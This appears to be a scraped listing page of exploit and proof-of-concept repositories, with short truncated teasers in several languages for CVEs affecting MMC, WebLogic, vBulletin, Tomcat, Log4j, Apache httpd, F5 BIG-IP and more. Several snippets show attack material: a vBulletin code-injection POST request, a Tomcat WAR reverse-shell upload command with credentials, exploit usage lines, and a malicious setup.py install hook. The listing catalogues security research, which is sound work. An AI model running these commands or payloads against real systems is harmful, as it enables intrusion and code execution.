MSC-EvilTwin-Local-Privilege-Escalation

CVE-2025-26633 - Microsoft 管理控制台 .msc EvilTwin 本地权限提升 PoC 披露时为零日漏洞（2025年3月） – 已被 Water Gamayun APT 在野积极利用 仅限授权安全测试和研究使用 漏洞详情 漏洞利用标题 ：Microsoft 管理控制台 MMC - MSC EvilTwin 本地权限提升 / 任意代码执行 CVE ：CVE-2025-26633 CVSS v3.1 ：7.8（高危）– AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 受影响系统 ： Windows 10（所有版本） Windows...

CVE-2018-3191

Weblogic-CVE-2018-3191 Remote Code Execution Vulnerability weblogic For Docker Environment 0x00 Introduction On October 17, Beijing time, Oracle's Critical Patch Update CPU for October fixed a high-risk WebLogic remote code execution vulnerability CVE-2018-3191. This vulnerability allows an...

CVE-2020-17496

CVE-2020-17496 root@kitploit: POST /ajax/render/widgettabbedcontainertabpanel?XDEBUGSESSIONSTART=phpstorm HTTP/1.1 Host: localhost User-Agent: curl/7.54.0 Accept: / Content-Length: 100 Content-Type: application/x-www-form-urlencoded subWidgets0template=widgetphp&subWidgets0configcode=echo...

warsend

WARSend Apache Tomcat Manager API WAR Shell Upload Prerequisites Credentials Text API Access to Tomcat Manager root@kitploit: $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / / // /...

sqlmap

sqlmap sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switche...

CVE-2026-39987

CVE-2026-39987 Marimo 0.20.4 向け PoC ⚠️ このツールは教育目的および許可されたセキュリティテスト専用です。作成者は、不正または違法な使用について一切責任を負いません。自己責任で使用してください。 ⚠️ 情報: CVE-2026-39987 は、Marimo0.23.0 より前のバージョンにおける、認証前リモートコード実行RCEの重大な脆弱性です。 なぜ動作するのか: /terminal/ws エンドポイントは認証なしで公開されています。 内部: marimo/server/api/endpoints/terminal.py root@kitploit:...

CVE-2022-40127-Airflow-RCE

Apache Airflow Una vulnerabilidad en los DAGs de ejemplo de Apache Airflow permite que un atacante con acceso a la interfaz de usuario que pueda activar DAGs, ejecute comandos arbitrarios a través del parámetro runid proporcionado manualmente. Este problema afecta a Apache Airflow versiones...

CVE-2025-48703

🛡️ CVE-2025-48703 - Remote Code Execution RCE in cPanel File Manager 📌 Description CVE-2025-48703 is a Remote Code Execution RCE vulnerability in the filemanager module of a web hosting control panel e.g., cPanel. It occurs due to unsanitized input handling in the acc=changePerm function, which...

CVE-2024-26304-RCE-exploit

CVE-2024-26304 - Remote Code Execution Vulnerability in ArubaOS Overview CVE-2024-26304 is a critical remote code execution RCE vulnerability affecting ArubaOS due to a buffer overflow in its L2/L3 Management service. An attacker can exploit this by sending specially crafted packets to the PAPI...

python-log4rce

Python Log4RCE An all-in-one pure Python3 PoC for CVE-2021-44228. Sample root@kitploit: python3 log4rce.py --target "linux" --payload "PAYLOAD" http -X POST --url "http://localhost:8080/" --data "address=" root@kitploit: INFO:HTTP:Running on local port 1337 INFO:HTTP:Remote target is...

CVE-2021-41773_42013

CVE-2021-41773 and CVE-2021-42013 Lab Setup Setup root@kitploit: $ git clone https://github.com/vulf/CVE-2021-4177342013 $ cd CVE-2021-4177342013 cd to the directory of your choice $ docker build -t vulnapache . $ docker run -d vulnapache NOTE: The httpd.conf files are configured to be vulnerable...

CVE-2020-28018

POC CVE-2020-28018 Introducción El equipo de Qualys ha descubierto y publicado 21 vulnerabilidades críticas en el servidor de correo Exim4. https://blog.qualys.com/vulnerabilities-research/2021/05/04/21nails-multiple-vulnerabilities-in-exim-mail-server En el siguiente enlace proporcionan...

CVE-2025-47256

CVE-2025-47256 Stack overflow in LibXMP Description A stack-based buffer overflow vulnerability exists in the depackpha function of libxmp, a library for module music playback. The vulnerability is triggered when parsing malformed Pha Packer PHA module files. Improper bounds checking on a local...

CVE-2022-31144

CVE-2022-31144 CVE-2022-31144 dos redis. Rce not finished yet...

CVE-2022-1388

CVE-2022-1388-Exploit Exploit and Check Script for CVE 2022-1388 Usage To Check against single host URL root@kitploit: python3 exploit.py -v true -u targeturl To Attack host and test command on this host root@kitploit: python3 exploit.py -a true -u targeturl -c command Attack list of hosts or...

CVE-2020-14756

CVE-2020-14756 coherence.jar の ExternalizableHelper.class による WebLogic T3/IIOP RCE README プロジェクトは https://github.com/Y4er/CVE-2020-2555 と weblogiccmd に基づいています 12.2.1.4.0 と jdk 1.8.0221 でテスト済み 参考 1. https://y4er.com/post/weblogic-cve-2020-14756/ 2. https://mp.weixin.qq.com/s/E-4wjbKD-iSi0CEMegVmZQ...

CVE-2026-21016-Malicious-PyPI-Package-Install-Hook-setup.py-Execution-

CVE-2026-21016 – Malicious PyPI Package Install Hook setup.py Execution Program Code Python root@kitploit: setup.py - Malicious package that executes during install from setuptools import setup import os This runs on pip install os.system'id /tmp/pwnedbypackage' setup name='harmless-pkg',...

CVE-2020-7699_reproduce

CVE-2020-7699 再現 Node.js RCE脆弱性CVE-2020-7699の再現、私のラボ作業 セットアップ Node.js バージョン: v14.16.1、Node.js のバージョンが14であることを確認してください（他のバージョンでも動作する可能性はありますが、テストはしていません）。 Python バージョン: 3.9.5、Python は HTTP 攻撃リクエストの送信にのみ使用しており、特定のバージョンは必要ありません。 リポジトリを clone し、npm i で依存関係をインストールするだけです。さらに2つのコマンドを用意しています。 npm run...

HTTP-Request-for-PHP-object-injection-attack-on-CVE-2023-41892

Este tipo de ataque intenta explotar el proceso de deserialización de la aplicación PHP para ejecutar código arbitrario o llevar a cabo acciones no deseadas en el servidor. Estrategias de Mitigación Para defenderse contra la inyección de objetos PHP y ataques similares, considere las siguientes...

CVE-2022-41040_Mitigation

descargue el script en la máquina afectada y ejecútelo...